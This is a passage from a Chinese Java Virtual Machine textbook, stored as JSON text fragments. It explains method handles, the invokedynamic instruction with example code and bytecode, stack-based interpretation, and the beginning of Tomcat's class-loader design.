7以前的字节码指令集中，4条方法调用指令（invokevirtual、invokespecial、invokestatic、invokeinterface）的第一个参数都是被调用的方法的符号引用（CONSTANT_Methodref_info或者CONSTANT_InterfaceMethodref_info常量），前面已经提到过，方法的符号引用在编译时产生，而动态类型语言只有在运行期才能确定方法的接收者。这样，在Java虚拟机上实现的动态类型语言就不得不使用“曲线救国”的方式（如编译时留个占位符类型，运行时动态生成字节码实现具体类型到占位符类型的适配）来实现，但这样势必会让动态类型语言实现的复杂度增加，也会带来额外的性能和内存开销。内存开销是很显而易见的，方法调用产生的那一大堆的动态类就摆在那里。而其中最严重的性能瓶颈是在于动态类型方法调用时，由于无法确定调用对象的静态类型，而导致的方法内联无法有效进行。在第11章里我们会讲到方法内联的重要性，它是其他优化措施的基础，也可以说是最重要的一项优化。尽管也可以想一些办法（譬如调用点缓存）尽量缓解支持动态语言而导致的性能下降，但这种改善毕竟不是本质的。譬如有类似以下代码： var arrays = {\"abc\", new ObjectX(), 123, Dog, Cat, Car..} for(item in arrays){ item.sayHello(); } 在动态类型语言下这样的代码是没有问题，但由于在运行时arrays中的元素可以是任意类型，即使它们的类型中都有sayHello()方法，也肯定无法在编译优化的时候就确定具体sayHello()的代码在哪里，编译器只能不停编译它所遇见的每一个sayHello()方法，并缓存起来供执行时选择、调用和内联，如果arrays数组中不同类型的对象很多，就势必会对内联缓存产生很大的压力，缓存的大小总是有限的，类型信息的不确定性导致了缓存内容不断被失效和更新，先前优化过的方法也可能被不断替换而无法重复使用。所以这种动态类型方法调用的底层问题终归是应当在Java虚拟机层次上去解决才最合适。因此，在Java虚拟机层面上提供动态类型的直接支持就成为Java平台发展必须解决的问题，这便是JDK 7时JSR-292提案中invokedynamic指令以及java.lang.invoke包出现的技术背景。"},
    {"text": "8.4.3 java.lang.invoke包 JDK 7时新加入的java.lang.invoke包 [1] 是JSR 292的一个重要组成部分，这个包的主要目的是在之前单纯依靠符号引用来确定调用的目标方法这条路之外，提供一种新的动态确定目标方法的机制，称为“方法句柄”（Method Handle）。"},
    {"text": "举个例子，如果我们要实现一个带谓词（谓词就是由外部传入的排序时比较大小的动作）的排序函数，在C/C++中的常用做法是把谓词定义为函数，用函数指针来把谓词传递到排序方法，像这样： void sort(int list[], const int size, int (*compare)(int, int)) 但在Java语言中做不到这一点，没有办法单独把一个函数作为参数进行传递。 普遍的做法是设计一个带有compare()方法的Comparator接口，以实现这个接口的对象作为参数，例如Java类库中的Collections::sort()方法就是这样定义的： void sort(List list, Comparator c) 不过，在拥有方法句柄之后，Java语言也可以拥有类似于函数指针或者委托的方法别名这样的工具了。"},
    {"text": "代码清单8-12演示了方法句柄的基本用法，无论obj是何种类型（临时定义的ClassA抑或是实现PrintStream接口的实现类System.out），都可以正确调用到println()方法。 代码清单8-12 方法句柄演示 import static java.lang.invoke.MethodHandles.lookup; import java.lang.invoke.MethodHandle; import java.lang.invoke.MethodType; /** * JSR 292 MethodHandle基础用法演示 * @author zzm */ public class MethodHandleTest { static class ClassA { public void println(String s) { System.out.println(s); } } public static void main(String[] args) throws Throwable { Object obj = System.currentTimeMillis() % 2 == 0 ? System.out : new ClassA(); // 无论obj最终是哪个实现类，下面这句都能正确调用到println方法。"},
    {"text": "getPrintlnMH(obj).invokeExact(\"icyfenix\"); } private static MethodHandle getPrintlnMH(Object reveiver) throws Throwable { // MethodType：代表“方法类型”，包含了方法的返回值（methodType()的第一个参数）和 具体参数（methodType()第二个及以后的参数）。"},
    {"text": "MethodType mt = MethodType.methodType(void.class, String.class); // lookup()方法来自于MethodHandles.lookup，这句的作用是在指定类中查找符合给定的方法 名称、方法类型，并且符合调用权限的方法句柄。"},
    {"text": "// 因为这里调用的是一个虚方法，按照Java语言的规则，方法第一个参数是隐式的，代表该方法的接 收者，也即this指向的对象，这个参数以前是放在参数列表中进行传递，现在提供了bindTo() 方法来完成这件事情。"},
    {"text": "return lookup().findVirtual(reveiver.getClass(), \"println\", mt).bindTo(reveiver); } } 方法getPrintlnMH()中实际上是模拟了invokevirtual指令的执行过程，只不过它的分派逻辑并非固化在Class文件的字节码上，而是通过一个由用户设计的Java方法来实现。"},
    {"text": "以此为基础，有了MethodHandle就可以写出类似于C/C++那样的函数声明了： void sort(List list, MethodHandle compare) 从上面的例子看来，使用MethodHandle并没有多少困难，不过看完它的用法之后，读者大概就会产生疑问，相同的事情，用反射不是早就可以实现了吗？"},
    {"text": "确实，仅站在Java语言的角度看，MethodHandle在使用方法和效果上与Reflection有众多相似之处。 不过，它们也有以下这些区别： ·Reflection和MethodHandle机制本质上都是在模拟方法调用，但是Reflection是在模拟Java代码层次的方法调用，而MethodHandle是在模拟字节码层次的方法调用。"},
    {"text": "在MethodHandles.Lookup上的3个方法findStatic()、findVirtual()、findSpecial()正是为了对应于invokestatic、invokevirtual（以及invokeinterface）和invokespecial这几条字节码指令的执行权限校验行为，而这些底层细节在使用Reflection API时是不需要关心的。"},
    {"text": "·由于MethodHandle是对字节码的方法指令调用的模拟，那理论上虚拟机在这方面做的各种优化（如方法内联），在MethodHandle上也应当可以采用类似思路去支持（但目前实现还在继续完善中），而通过反射去调用方法则几乎不可能直接去实施各类调用点优化措施。 MethodHandle与Reflection除了上面列举的区别外，最关键的一点还在于去掉前面讨论施加的前提“仅站在Java语言的角度看”之后：Reflection API的设计目标是只为Java语言服务的，而MethodHandle则设计为可服务于所有Java虚拟机之上的语言，其中也包括了Java语言而已，而且Java在这里并不是主角。"},
    {"text": "[1] 这个包曾经在不算短的时间里的名称是java.dyn，也曾经短暂更名为java.lang.mh，如果读者在其他资料上看到这两个包名，可以把它们与java.lang.invoke理解为同一种东西。"},
    {"text": "8.4.4 invokedynamic指令 8.4节一开始就提到了JDK 7为了更好地支持动态类型语言，引入了第五条方法调用的字节码指令invokedynamic，之后却一直没有再提起它，甚至把代码清单8-12使用MethodHandle的示例代码反编译后也完全找不到invokedynamic的身影，这实在与invokedynamic作为Java诞生以来唯一一条新加入的字节码指令的地位不相符，那么invokedynamic到底有什么应用呢？ 某种意义上可以说invokedynamic指令与MethodHandle机制的作用是一样的，都是为了解决原有4条“invoke*”指令方法分派规则完全固化在虚拟机之中的问题，把如何查找目标方法的决定权从虚拟机转嫁到具体用户代码之中，让用户（广义的用户，包含其他程序语言的设计者）有更高的自由度。"},
    {"text": "而且，它们两者的思路也是可类比的，都是为了达成同一个目的，只是一个用上层代码和API来实现，另一个用字节码和Class中其他属性、常量来完成。"},
    {"text": "每一处含有invokedynamic指令的位置都被称作“动态调用点（Dynamically-Computed Call Site）”，这条指令的第一个参数不再是代表方法符号引用的CONSTANT_Methodref_info常量，而是变为JDK 7时新加入的CONSTANT_InvokeDynamic_info常量，从这个新常量中可以得到3项信息：引导方法（Bootstrap Method，该方法存放在新增的BootstrapMethods属性中）、方法类型（MethodType）和名称。 引导方法是有固定的参数，并且返回值规定是java.lang.invoke.CallSite对象，这个对象代表了真正要执行的目标方法调用。 根据CONSTANT_InvokeDynamic_info常量中提供的信息，虚拟机可以找到并且执行引导方法，从而获得一个CallSite对象，最终调用到要执行的目标方法上。"},
    {"text": "代码清单8-13 InvokeDynamic指令演示 import static java.lang.invoke.MethodHandles.lookup; import java.lang.invoke.CallSite; import java.lang.invoke.ConstantCallSite; import java.lang.invoke.MethodHandle; import java.lang.invoke.MethodHandles; import java.lang.invoke.MethodType; public class InvokeDynamicTest { public static void main(String[] args) throws Throwable { INDY_BootstrapMethod().invokeExact(\"icyfenix\"); } public static void testMethod(String s) { System.out.println(\"hello String:\" + s); } public static CallSite BootstrapMethod(MethodHandles.Lookup lookup, String name, MethodType mt) throws Throwable { return new ConstantCallSite(lookup.findStatic(InvokeDynamicTest.class, name, mt)); } private static MethodType MT_BootstrapMethod() { return MethodType .fromMethodDescriptorString( \"(Ljava/lang/invoke/MethodHandles$Lookup;Ljava/lang/String; Ljava/lang/invoke/MethodType;)Ljava/lang/invoke/CallSite;\", null); } private static MethodHandle MH_BootstrapMethod() throws Throwable { return lookup().findStatic(InvokeDynamicTest.class, \"BootstrapMethod\", MT_BootstrapMethod()); } private static MethodHandle INDY_BootstrapMethod() throws Throwable { CallSite cs = (CallSite) MH_BootstrapMethod().invokeWithArguments(lookup(), \"testMethod\", MethodType.fromMethodDescriptorString(\"(Ljava/lang/String;)V\", null)); return cs.dynamicInvoker(); } } 这段代码与前面MethodHandleTest的作用基本上是一样的，虽然笔者没有加以注释，但是阅读起来应当也不困难。"},
    {"text": "前文提到过，由于invokedynamic指令面向的主要服务对象并非Java语言，而是其他Java虚拟机之上的其他动态类型语言，因此，光靠Java语言的编译器Javac的话，在JDK 7时甚至还完全没有办法生成带有invokedynamic指令的字节码（曾经有一个java.dyn.InvokeDynamic的语法糖可以实现，但后来被取消了），而到JDK 8引入了Lambda表达式和接口默认方法后，Java语言才算享受到了一点invokedynamic指令的好处，但用Lambda来解释invokedynamic指令运作就比较别扭，也无法与前面MethodHandle的例子对应类比，所以笔者采用一些变通的办法：John Rose（JSR 292的负责人，以前Da Vinci Machine Project的Leader）编写过一个把程序的字节码转换为使用invokedynamic的简单工具INDY [1] 来完成这件事，我们要使用这个工具来产生最终需要的字节码，因此代码清单8-13中的方法名称不能随意改动，更不能把几个方法合并到一起写，因为它们是要被INDY工具读取的。 把上面的代码编译，再使用INDY转换后重新生成的字节码如代码清单8-14所示（结果使用javap输出，因版面原因，精简了许多无关的内容）。 代码清单8-14 InvokeDynamic指令演示（2） Constant pool: #121 = NameAndType #33:#30 // testMethod:(Ljava/lang/String;)V #123 = InvokeDynamic #0:#121 // #0:testMethod:(Ljava/lang/String;)V public static void main(java.lang.String[]) throws java.lang.Throwable; Code: stack=2, locals=1, args_size=1 0: ldc #23 // String abc 2: invokedynamic #123, 0 // InvokeDynamic #0:testMethod: (Ljava/lang/String;)V 7: nop 8: return public static java.lang.invoke.CallSite BootstrapMethod(java.lang.invoke.Method Handles$Lookup, java.lang.String, java.lang.invoke.MethodType) throws java.lang.Throwable; Code: stack=6, locals=3, args_size=3 0: new #63 // class java/lang/invoke/ConstantCallSite 3: dup 4: aload_0 5: ldc #1 // class org/fenixsoft/InvokeDynamicTest 7: aload_1 8: aload_2 9: invokevirtual #65 // Method java/lang/invoke/MethodHandles$ Lookup.findStatic:(Ljava/lang/Class;Ljava/ lang/String;Ljava/lang/invoke/Method Type;)Ljava/lang/invoke/MethodHandle; 12: invokespecial #71 // Method java/lang/invoke/ConstantCallSite. \"<init>\":(Ljava/lang/invoke/MethodHandle;)V 15: areturn 从main()方法的字节码中可见，原本的方法调用指令已经被替换为invokedynamic了，它的参数为第123项常量（第二个值为0的参数在虚拟机中不会直接用到，这与invokeinterface指令那个的值为0的参数一样是占位用的，目的都是为了给常量池缓存留出足够的空间）： 2: invokedynamic #123, 0 // InvokeDynamic #0:testMethod:(Ljava/lang/String;)V 从常量池中可见，第123项常量显示“#123=InvokeDynamic#0：#121”说明它是一项CONSTANT_InvokeDynamic_info类型常量，常量值中前面“#0”代表引导方法取Bootstrap Methods属性表的第0项（javap没有列出属性表的具体内容，不过示例中仅有一个引导方法，即BootstrapMethod()），而后面的“#121”代表引用第121项类型为CONSTANT_NameAndType_info的常量，从这个常量中可以获取到方法名称和描述符，即后面输出的“testMethod：(Ljava/lang/String；"},
    {"text": "再看BootstrapMethod()，这个方法在Java源码中并不存在，是由INDY产生的，但是它的字节码很容易读懂，所有逻辑都是调用MethodHandles$Lookup的findStatic()方法，产生testMethod()方法的MethodHandle，然后用它创建一个ConstantCallSite对象。"},
    {"text": "8.4.5 实战：掌控方法分派规则 invokedynamic指令与此前4条传统的“invoke*”指令的最大区别就是它的分派逻辑不是由虚拟机决定的，而是由程序员决定。在介绍Java虚拟机动态语言支持的最后一节中，笔者希望通过一个简单例子（如代码清单8-15所示），帮助读者理解程序员可以掌控方法分派规则之后，我们能做什么以前无法做到的事情。 代码清单8-15 方法调用问题 class GrandFather { void thinking() { System.out.println(\"i am grandfather\"); } } class Father extends GrandFather { void thinking() { System.out.println(\"i am father\"); } } class Son extends Father { void thinking() { // 请读者在这里填入适当的代码（不能修改其他地方的代码） // 实现调用祖父类的thinking()方法，打印\"i am grandfather\" } } 在Java程序中，可以通过“super”关键字很方便地调用到父类中的方法，但如果要访问祖类的方法呢？读者在往下阅读本书提供的解决方案之前，不妨自己思考一下，在JDK 7之前有没有办法解决这个问题。 在拥有invokedynamic和java.lang.invoke包之前，使用纯粹的Java语言很难处理这个问题（使用ASM等字节码工具直接生成字节码当然还是可以处理的，但这已经是在字节码而不是Java语言层面来解决问题了），原因是在Son类的thinking()方法中根本无法获取到一个实际类型是GrandFather的对象引用，而invokevirtual指令的分派逻辑是固定的，只能按照方法接收者的实际类型进行分派，这个逻辑完全固化在虚拟机中，程序员无法改变。如果是JDK 7 Update 9之前，使用代码清单8-16中的程序就可以直接解决该问题。 代码清单8-16 使用MethodHandle来解决问题 import static java.lang.invoke.MethodHandles.lookup; import java.lang.invoke.MethodHandle; import java.lang.invoke.MethodType; class Test { class GrandFather { void thinking() { System.out.println(\"i am grandfather\"); } } class Father extends GrandFather { void thinking() { System.out.println(\"i am father\"); } } class Son extends Father { void thinking() { try { MethodType mt = MethodType.methodType(void.class); MethodHandle mh = lookup().findSpecial(GrandFather.class, \"thinking\", mt, getClass()); mh.invoke(this); } catch (Throwable e) { } } } public static void main(String[] args) { (new Test().new Son()).thinking(); } } 使用JDK 7 Update 9之前的HotSpot虚拟机运行，会得到如下运行结果： i am grandfather 但是这个逻辑在JDK 7 Update 9之后被视作一个潜在的安全性缺陷修正了，原因是必须保证findSpecial()查找方法版本时受到的访问约束（譬如对访问控制的限制、对参数类型的限制）应与使用invokespecial指令一样，两者必须保持精确对等，包括在上面的场景中它只能访问到其直接父类中的方法版本。所以在JDK 7 Update 10修正之后，运行以上代码只能得到如下结果： i am father 由于本书的第2版是基于早期版本的JDK 7撰写的，所以印刷之后才发布的JDK更新就很难再及时地同步修正了，这导致不少读者重现这段代码的运行结果时产生了疑惑，也收到了很多热心读者的邮件，在此一并感谢。 那在新版本的JDK中，上面的问题是否能够得到解决呢？答案是可以的，如果读者去查看MethodHandles.Lookup类的代码，将会发现需要进行哪些访问保护，在该API实现时是预留了后门的。访问保护是通过一个allowedModes的参数来控制，而且这个参数可以被设置成“TRUSTED”来绕开所有的保护措施。尽管这个参数只是在Java类库本身使用，没有开放给外部设置，但我们通过反射可以轻易打破这种限制。由此，我们可以把代码清单8-16中子类的thinking()方法修改为如下所示的代码来解决问题： void thinking() { try { MethodType mt = MethodType.methodType(void.class); Field lookupImpl = MethodHandles.Lookup.class.getDeclaredField(\"IMPL_LOOKUP\"); lookupImpl.setAccessible(true); MethodHandle mh = ((MethodHandles.Lookup) lookupImpl.get(null)).findSpecial(GrandFather.class,\"thinking\", mt, GrandFather.class); mh.invoke(this); } catch (Throwable e) { } } 运行以上代码，在目前所有JDK版本中均可获得如下结果： i am grandfather 8.5 基于栈的字节码解释执行引擎 关于Java虚拟机是如何调用方法、进行版本选择的内容已经全部讲解完毕，从本节开始，我们来探讨虚拟机是如何执行方法里面的字节码指令的。概述中曾提到过，许多Java虚拟机的执行引擎在执行Java代码的时候都有解释执行（通过解释器执行）和编译执行（通过即时编译器产生本地代码执行）两种选择，在本节中，我们将会分析在概念模型下的Java虚拟机解释执行字节码时，其执行引擎是如何工作的。笔者在本章多次强调了“概念模型”，是因为实际的虚拟机实现，譬如HotSpot的模板解释器工作的时候，并不是按照下文中的动作一板一眼地进行机械式计算，而是动态产生每条字节码对应的汇编代码来运行，这与概念模型中执行过程的差异很大，但是结果却能保证是一致的。"},
    {"text": "8.5.1 解释执行 Java语言经常被人们定位为“解释执行”的语言，在Java初生的JDK 1.0时代，这种定义还算是比较准确的，但当主流的虚拟机中都包含了即时编译器后，Class文件中的代码到底会被解释执行还是编译执行，就成了只有虚拟机自己才能准确判断的事。再后来，Java也发展出可以直接生成本地代码的编译器（如Jaotc、GCJ [1] ，Excelsior JET），而C/C++语言也出现了通过解释器执行的版本（如CINT [2] ），这时候再笼统地说“解释执行”，对于整个Java语言来说就成了几乎是没有意义的概念，只有确定了谈论对象是某种具体的Java实现版本和执行引擎运行模式时，谈解释执行还是编译执行才会比较合理确切。 无论是解释还是编译，也无论是物理机还是虚拟机，对于应用程序，机器都不可能如人那样阅读、理解，然后获得执行能力。大部分的程序代码转换成物理机的目标代码或虚拟机能执行的指令集之前，都需要经过图8-4中的各个步骤。如果读者对大学编译原理的相关课程还有印象的话，很容易就会发现图8-4中下面的那条分支，就是传统编译原理中程序代码到目标机器代码的生成过程；而中间的那条分支，自然就是解释执行的过程。 图8-4 编译过程 如今，基于物理机、Java虚拟机，或者是非Java的其他高级语言虚拟机（HLLVM）的代码执行过程，大体上都会遵循这种符合现代经典编译原理的思路，在执行前先对程序源码进行词法分析和语法分析处理，把源码转化为抽象语法树（Abstract Syntax Tree，AST）。对于一门具体语言的实现来说，词法、语法分析以至后面的优化器和目标代码生成器都可以选择独立于执行引擎，形成一个完整意义的编译器去实现，这类代表是C/C++语言。也可以选择把其中一部分步骤（如生成抽象语法树之前的步骤）实现为一个半独立的编译器，这类代表是Java语言。又或者把这些步骤和执行引擎全部集中封装在一个封闭的黑匣子之中，如大多数的JavaScript执行引擎。 在Java语言中，Javac编译器完成了程序代码经过词法分析、语法分析到抽象语法树，再遍历语法树生成线性的字节码指令流的过程。因为这一部分动作是在Java虚拟机之外进行的，而解释器在虚拟机的内部，所以Java程序的编译就是半独立的实现。 [1] GCJ：http://gcc.gnu.org/java/。 [2] CINT：http://root.cern.ch/drupal/content/cint。"},
    {"text": "8.5.2 基于栈的指令集与基于寄存器的指令集 Javac编译器输出的字节码指令流，基本上 [1] 是一种基于栈的指令集架构（Instruction Set Architecture，ISA），字节码指令流里面的指令大部分都是零地址指令，它们依赖操作数栈进行工作。与之相对的另外一套常用的指令集架构是基于寄存器的指令集，最典型的就是x86的二地址指令集，如果说得更通俗一些就是现在我们主流PC机中物理硬件直接支持的指令集架构，这些指令依赖寄存器进行工作。那么，基于栈的指令集与基于寄存器的指令集这两者之间有什么不同呢？ 举个最简单的例子，分别使用这两种指令集去计算“1+1”的结果，基于栈的指令集会是这样子的： iconst_1 iconst_1 iadd istore_0 两条iconst_1指令连续把两个常量1压入栈后，iadd指令把栈顶的两个值出栈、相加，然后把结果放回栈顶，最后istore_0把栈顶的值放到局部变量表的第0个变量槽中。这种指令流中的指令通常都是不带参数的，使用操作数栈中的数据作为指令的运算输入，指令的运算结果也存储在操作数栈之中。而如果用基于寄存器的指令集，那程序可能会是这个样子： mov eax, 1 add eax, 1 mov指令把EAX寄存器的值设为1，然后add指令再把这个值加1，结果就保存在EAX寄存器里面。这种二地址指令是x86指令集中的主流，每个指令都包含两个单独的输入参数，依赖于寄存器来访问和存储数据。 了解了基于栈的指令集与基于寄存器的指令集的区别后，读者可能会有个进一步的疑问，这两套指令集谁更好一些呢？ 应该说，既然两套指令集会同时并存和发展，那肯定是各有优势的，如果有一套指令集全面优于另外一套的话，就是直接替代而不存在选择的问题了。 基于栈的指令集主要优点是可移植，因为寄存器由硬件直接提供 [2] ，程序直接依赖这些硬件寄存器则不可避免地要受到硬件的约束。例如现在32位80x86体系的处理器能提供了8个32位的寄存器，而ARMv6体系的处理器（在智能手机、数码设备中相当流行的一种处理器）则提供了30个32位的通用寄存器，其中前16个在用户模式中可以使用。如果使用栈架构的指令集，用户程序不会直接用到这些寄存器，那就可以由虚拟机实现来自行决定把一些访问最频繁的数据（程序计数器、栈顶缓存等）放到寄存器中以获取尽量好的性能，这样实现起来也更简单一些。栈架构的指令集还有一些其他的优点，如代码相对更加紧凑（字节码中每个字节就对应一条指令，而多地址指令集中还需要存放参数）、编译器实现更加简单（不需要考虑空间分配的问题，所需空间都在栈上操作）等。 栈架构指令集的主要缺点是理论上执行速度相对来说会稍慢一些，所有主流物理机的指令集都是寄存器架构 [3] 也从侧面印证了这点。不过这里的执行速度是要局限在解释执行的状态下，如果经过即时编译器输出成物理机上的汇编指令流，那就与虚拟机采用哪种指令集架构没有什么关系了。 在解释执行时，栈架构指令集的代码虽然紧凑，但是完成相同功能所需的指令数量一般会比寄存器架构来得更多，因为出栈、入栈操作本身就产生了相当大量的指令。更重要的是栈实现在内存中，频繁的栈访问也就意味着频繁的内存访问，相对于处理器来说，内存始终是执行速度的瓶颈。尽管虚拟机可以采取栈顶缓存的优化方法，把最常用的操作映射到寄存器中避免直接内存访问，但这也只是优化措施而不是解决本质问题的方法。因此由于指令数量和内存访问的原因，导致了栈架构指令集的执行速度会相对慢上一点。 [1] 使用“基本上”，是因为部分字节码指令会带有参数，而纯粹基于栈的指令集架构中应当全部都是零地址指令，也就是都不存在显式的参数。Java这样实现主要是考虑了代码的可校验性。 [2] 这里说的是物理机器上的寄存器。也有基于寄存器的虚拟机，如Google Android平台的Dalvik虚拟机。即使是基于寄存器的虚拟机，也会希望把虚拟机寄存器尽量映射到物理寄存器上以获取尽可能高的性能。 [3] Intel x86架构早期的数学协处理器x87（譬如与8086搭配工作的8087）就是基于栈的，只操作栈顶的两个数据。但是实际常见的物理机处理器已经很久不用这种架构了。"},
    {"text": "8.5.3 基于栈的解释器执行过程 关于栈架构执行引擎的必要前置知识已经全部讲解完毕了，本节笔者准备了一段Java代码，以便向读者实际展示在虚拟机里字节码是如何执行的。前面笔者曾经举过一个计算“1+1”的例子，那种小学一年级的算数题目显然太过简单了，给聪明的读者练习的题目起码……嗯，笔者准备的是四则运算加减乘除法，大概能达到三年级左右的数学水平，请看代码清单8-17。 代码清单8-17 一段简单的算术代码 public int calc() { int a = 100; int b = 200; int c = 300; return (a + b) * c; } 这段代码从Java语言的角度没有任何谈论的必要，直接使用javap命令看看它的字节码指令，如代码清单8-18所示。 代码清单8-18 一段简单的算术代码的字节码表示 public int calc(); Code: Stack=2, Locals=4, Args_size=1 0: bipush 100 2: istore_1 3: sipush 200 6: istore_2 7: sipush 300 10: istore_3 11: iload_1 12: iload_2 13: iadd 14: iload_3 15: imul 16: ireturn } javap提示这段代码需要深度为2的操作数栈和4个变量槽的局部变量空间，笔者就根据这些信息画了图8-5至图8-11共7张图片，来描述代码清单8-13执行过程中的代码、操作数栈和局部变量表的变化情况。 图8-5 执行偏移地址为0的指令的情况 首先，执行偏移地址为0的指令，Bipush指令的作用是将单字节的整型常量值（-128～127）推入操作数栈顶，跟随有一个参数，指明推送的常量值，这里是100。 图8-6 执行偏移地址为1的指令的情况 执行偏移地址为2的指令，istore_1指令的作用是将操作数栈顶的整型值出栈并存放到第1个局部变量槽中。后续4条指令（直到偏移为11的指令为止）都是做一样的事情，也就是在对应代码中把变量a、b、c赋值为100、200、300。这4条指令的图示略过。 图8-7 执行偏移地址为11的指令的情况 执行偏移地址为11的指令，iload_1指令的作用是将局部变量表第1个变量槽中的整型值复制到操作数栈顶。 图8-8 执行偏移地址为12的指令的情况 执行偏移地址为12的指令，iload_2指令的执行过程与iload_1类似，把第2个变量槽的整型值入栈。画出这个指令的图示主要是为了显示下一条iadd指令执行前的堆栈状况。 图8-9 执行偏移地址为13的指令的情况 执行偏移地址为13的指令，iadd指令的作用是将操作数栈中头两个栈顶元素出栈，做整型加法，然后把结果重新入栈。在iadd指令执行完毕后，栈中原有的100和200被出栈，它们的和300被重新入栈。 图8-10 执行偏移地址为14的指令的情况 执行偏移地址为14的指令，iload_3指令把存放在第3个局部变量槽中的300入栈到操作数栈中。这时操作数栈为两个整数300。下一条指令imul是将操作数栈中头两个栈顶元素出栈，做整型乘法，然后把结果重新入栈，与iadd完全类似，所以笔者省略图示。 图8-11 执行偏移地址为16的指令的情况 执行偏移地址为16的指令，ireturn指令是方法返回指令之一，它将结束方法执行并将操作数栈顶的整型值返回给该方法的调用者。到此为止，这段方法执行结束。 再次强调上面的执行过程仅仅是一种概念模型，虚拟机最终会对执行过程做出一系列优化来提高性能，实际的运作过程并不会完全符合概念模型的描述。更确切地说，实际情况会和上面描述的概念模型差距非常大，差距产生的根本原因是虚拟机中解析器和即时编译器都会对输入的字节码进行优化，即使解释器中也不是按照字节码指令去逐条执行的。例如在HotSpot虚拟机中，就有很多以“fast_”开头的非标准字节码指令用于合并、替换输入的字节码以提升解释执行性能，即时编译器的优化手段则更是花样繁多 [1] 。 不过我们从这段程序的执行中也可以看出栈结构指令集的一般运行过程，整个运算过程的中间变量都以操作数栈的出栈、入栈为信息交换途径，符合我们在前面分析的特点。 [1] 具体可以参考第11章的相关内容。 8.6 本章小结 本章中，我们分析了虚拟机在执行代码时，如何找到正确的方法，如何执行方法内的字节码，以及执行代码时涉及的内存结构。在第6～8章里面，我们针对Java程序是如何存储的、如何载入（创建）的，以及如何执行的问题，把相关知识系统地介绍了一遍，第9章我们将一起看看这些理论知识在具体开发之中的典型应用。 第9章 类加载及执行子系统的案例与实战 代码编译的结果从本地机器码转变为字节码，是存储格式发展的一小步，却是编程语言发展的一大步。 9.1 概述 在Class文件格式与执行引擎这部分里，用户的程序能直接参与的内容并不太多，Class文件以何种格式存储，类型何时加载、如何连接，以及虚拟机如何执行字节码指令等都是由虚拟机直接控制的行为，用户程序无法对其进行改变。能通过程序进行操作的，主要是字节码生成与类加载器这两部分的功能，但仅仅在如何处理这两点上，就已经出现了许多值得欣赏和借鉴的思路，这些思路后来成为许多常用功能和程序实现的基础。在本章中，我们将看一下前面所学的知识在实际开发之中是如何应用的。"},
    {"text": "9.2 案例分析 在案例分析部分，笔者准备了4个例子，关于类加载器和字节码的案例各有两个。并且这两个领域的案例中又各有一个案例是大多数Java开发人员都使用过的工具或技术，另外一个案例虽然不一定每个人都使用过，但却能特别精彩地演绎出这个领域中的技术特性。希望后面的案例能引起读者的思考，并给读者的日常工作带来灵感。"},
    {"text": "9.2.1 Tomcat：正统的类加载器架构 主流的Java Web服务器，如Tomcat、Jetty、WebLogic、WebSphere或其他笔者没有列举的服务器，都实现了自己定义的类加载器，而且一般还都不止一个。"},
    {"text": "因为一个功能健全的Web服务器，都要解决如下的这些问题： ·部署在同一个服务器上的两个Web应用程序所使用的Java类库可以实现相互隔离。 这是最基本的需求，两个不同的应用程序可能会依赖同一个第三方类库的不同版本，不能要求每个类库在一个服务器中只能有一份，服务器应当能够保证两个独立应用程序的类库可以互相独立使用。 ·部署在同一个服务器上的两个Web应用程序所使用的Java类库可以互相共享。 这个需求与前面一点正好相反，但是也很常见，例如用户可能有10个使用Spring组织的应用程序部署在同一台服务器上，如果把10份Spring分别存放在各个应用程序的隔离目录中，将会是很大的资源浪费——这主要倒不是浪费磁盘空间的问题，而是指类库在使用时都要被加载到服务器内存，如果类库不能共享，虚拟机的方法区就会很容易出现过度膨胀的风险。"},
    {"text": "我们知道JSP文件最终要被编译成Java的Class文件才能被虚拟机执行，但JSP文件由于其纯文本存储的特性，被运行时修改的概率远大于第三方类库或程序自己的Class文件。 而且ASP、PHP和JSP这些网页应用也把修改后无须重启作为一个很大的“优势”来看待，因此“主流”的Web服务器都会支持JSP生成类的热替换，当然也有“非主流”的，如运行在生产模式（Production Mode）下的WebLogic服务器默认就不会处理JSP文件的变化。"},
    {"text": "由于存在上述问题，在部署Web应用时，单独的一个ClassPath就不能满足需求了，所以各种Web服务器都不约而同地提供了好几个有着不同含义的ClassPath路径供用户存放第三方类库，这些路径一般会以“lib”或“classes”命名。 被放置到不同路径中的类库，具备不同的访问范围和服务对象，通常每一个目录都会有一个相应的自定义类加载器去加载放置在里面的Java类库。"},
    {"text": "现在笔者就以Tomcat服务器 [1] 为例，与读者一同分析Tomcat具体是如何规划用户类库结构和类加载器的。 在Tomcat目录结构中，可以设置3组目录（/common/*、/server/*和/shared/*，但默认不一定是开放的，可能只有/lib/*目录存在）用于存放Java类库，另外还应该加上Web应用程序自身的“/WEB-INF/*”目录，一共4组。 把Java类库放置在这4组目录中，每一组都有独立的含义，分别是： ·放置在/common目录中。"},
    {"text": "为了支持这套目录结构，并对目录里面的类库进行加载和隔离，Tomcat自定义了多个类加载器，这些类加载器按照经典的双亲委派模型来实现，其关系如图9-1所示。 图9-1 Tomcat服务器的类加载架构 灰色背景的3个类加载器是JDK（以JDK 9之前经典的三层类加载器为例）默认提供的类加载器，这3个加载器的作用在第7章中已经介绍过了。 而Common类加载器、Catalina类加载器（也称为Server类加载器）、Shared类加载器和Webapp类加载器则是Tomcat自己定义的类加载器，它们分别加载/common/*、/server/*、/shared/*和/WebApp/WEB-INF/*中的Java类库。 其中WebApp类加载器和JSP类加载器通常还会存在多个实例，每一个Web应用程序对应一个WebApp类加载器，每一个JSP文件对应一个JasperLoader类加载器。"},
    {"text": "从图9-1的委派关系中可以看出，Common类加载器能加载的类都可以被Catalina类加载器和Shared类加载器使用，而Catalina类加载器和Shared类加载器自己能加载的类则与对方相互隔离。 WebApp类加载器可以使用Shared类加载器加载到的类，但各个WebApp类加载器实例之间相互隔离。"},
    {"text": "而JasperLoader的加载范围仅仅是这个JSP文件所编译出来的那一个Class文件，它存在的目的就是为了被丢弃：当服务器检测到JSP文件被修改时，会替换掉目前的JasperLoader的实例，并通过再建立一个新的JSP类加载器来实现JSP文件的HotSwap功能。"},
